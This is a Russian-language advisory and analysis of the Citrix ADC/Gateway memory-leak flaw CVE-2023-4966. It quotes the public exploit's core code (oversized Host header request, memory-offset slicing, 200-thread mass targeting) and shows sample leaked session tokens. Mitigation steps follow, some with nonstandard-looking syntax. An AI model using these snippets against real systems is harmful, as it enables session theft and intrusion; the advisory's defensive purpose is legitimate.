
Уязвимость BDU:2023-06568 (cve-2023-4966) в Citrix ADC и Citrix Gateway
Уязвимость BDU:2023-06568 (cve-2023-4966) типа Buffer Overflow (переполнение буфера) в Citrix ADC (ранее NetScaler ADC) и Citrix Gateway. Она связана с некорректной обработкой HTTP-заголовка Host
при обращении к эндпоинту /oauth/idp/.well-known/openid-configuration
. Атакующий может передать специально сформированный заголовок длиной более 24 576 символов, что приводит к чтению произвольных областей памяти и утечке конфиденциальных данных, включая сессии аутентификации, токены и системную информацию.
Анализ уязвимости
Уровень опасности: 9.4 (Критический)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
-
AV:N (Сетевой вектор)
-
AC:L (Низкая сложность эксплуатации)
-
PR:N (Привилегии не требуются)
-
UI:N (Взаимодействие с пользователем отсутствует)
-
S:U (Влияние на другие системы отсутствует)
-
C:H (Высокое влияние на конфиденциальность)
-
I:H (Высокое влияние на целостность)
-
A:L (Низкое влияние на доступность)
Уязвимость критической тяжести: позволяет удаленно получить доступ к конфиденциальным данным, нарушить целостность системы без привилегий, участия пользователя или сложных условий. Доступность системы снижается незначительно.
Уязвимость не требует аутентификации и может эксплуатироваться удаленно через сеть.
Условия эксплуатации
-
Доступ к уязвимому эндпоинту:
Эндпоинт/oauth/idp/.well-known/openid-configuration
должен быть публично доступен. В стандартных конфигурациях Citrix ADC/Gateway этот путь открыт для анонимных запросов. -
Версия ПО:
Затронуты версии:-
Citrix ADC 13.0 < 13.0-92.19
-
Citrix ADC 13.1 < 13.1-49.15
-
Citrix ADC 14.1 < 14.1-8.50
-
Citrix Gateway 13.0 < 13.0-92.19
-
Citrix Gateway 13.1 < 13.1-49.15
-
Citrix Gateway 14.1 < 14.1-8.50
-
Технический анализ эксплоита
Рассмотрим эксплоит из общего доступа к уязвимости BDU:2023-06568 (cve-2023-4966):
Ключевые компоненты кода
1. Формирование вредоносного запроса
HEADERS = {"Host": "a" * 24576} # Создание переполняющего буфер заголовка response = requests.get( f"https://{url}/oauth/idp/.well-known/openid-configuration", headers=HEADERS, verify=False )
Заголовок Host
длиной 24 576 символа вызывает переполнение в буфере Citrix, приводящее к утечке данных памяти.
2. Извлечение утекших данных
memory_data = response.text[131050:] # Обрезка стандартного ответа для получения "мусорных" данных
Смещение 131050
эмпирически определено разработчиками эксплоита как точка начала утечки.
3. Многопоточная обработка целей
with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor: futures = [executor.submit(exploit, url) for url in subdomains]
Использование пула из 200 потоков позволяет атаковать тысячи целей одновременно.
Пример вывода эксплоита
-------------------------------------------Dumped Memory --------------------------------------------------------------- [INFO]: Dumped memory for this target: vulnerable-gw.example.com [��sessionid=ABCE1234...; auth_token=Bearer eyJhbGci...; internal_ip=192.168.1.10...] -------------------------------------------END--------------------------------------------------------------------------
Где используется уязвимый компонент?
Citrix ADC/Gateway применяется в:
-
Системах балансировки нагрузки банковских приложений.
-
VPN-шлюзах корпоративных сетей (например, для доступа к внутренним CRM).
-
Защищенных прокси-серверах государственных учреждений.
Методы защиты
1. Обновление версий
Установите патчи для актуальных версий:
# Для Citrix ADC 13.0 upgrade system image ns-13.0-92.19.nc # Для Citrix Gateway 14.1 apply system image ns-14.1-8.50.nc
2. Конфигурация WAF
Добавьте правила для блокировки длинных заголовков в Citrix Web App Firewall:
add policy expression check_host_header "HTTP.REQ.HEADER(\"Host\").LENGTH.GT(24576)" bind responder global check_host_header RESET
3. Ограничение доступа к эндпоинтам
Измените конфигурацию AAA:
# /nsconfig/aaa.conf disable path "/oauth/idp/.well-known/openid-configuration"
4. Мониторинг аномалий
Пример правила для Splunk:
index=citrix_gw (url="/oauth/idp/.well-known/openid-configuration") | stats count by clientip | where count > 5 # Обнаружение массовых запросов
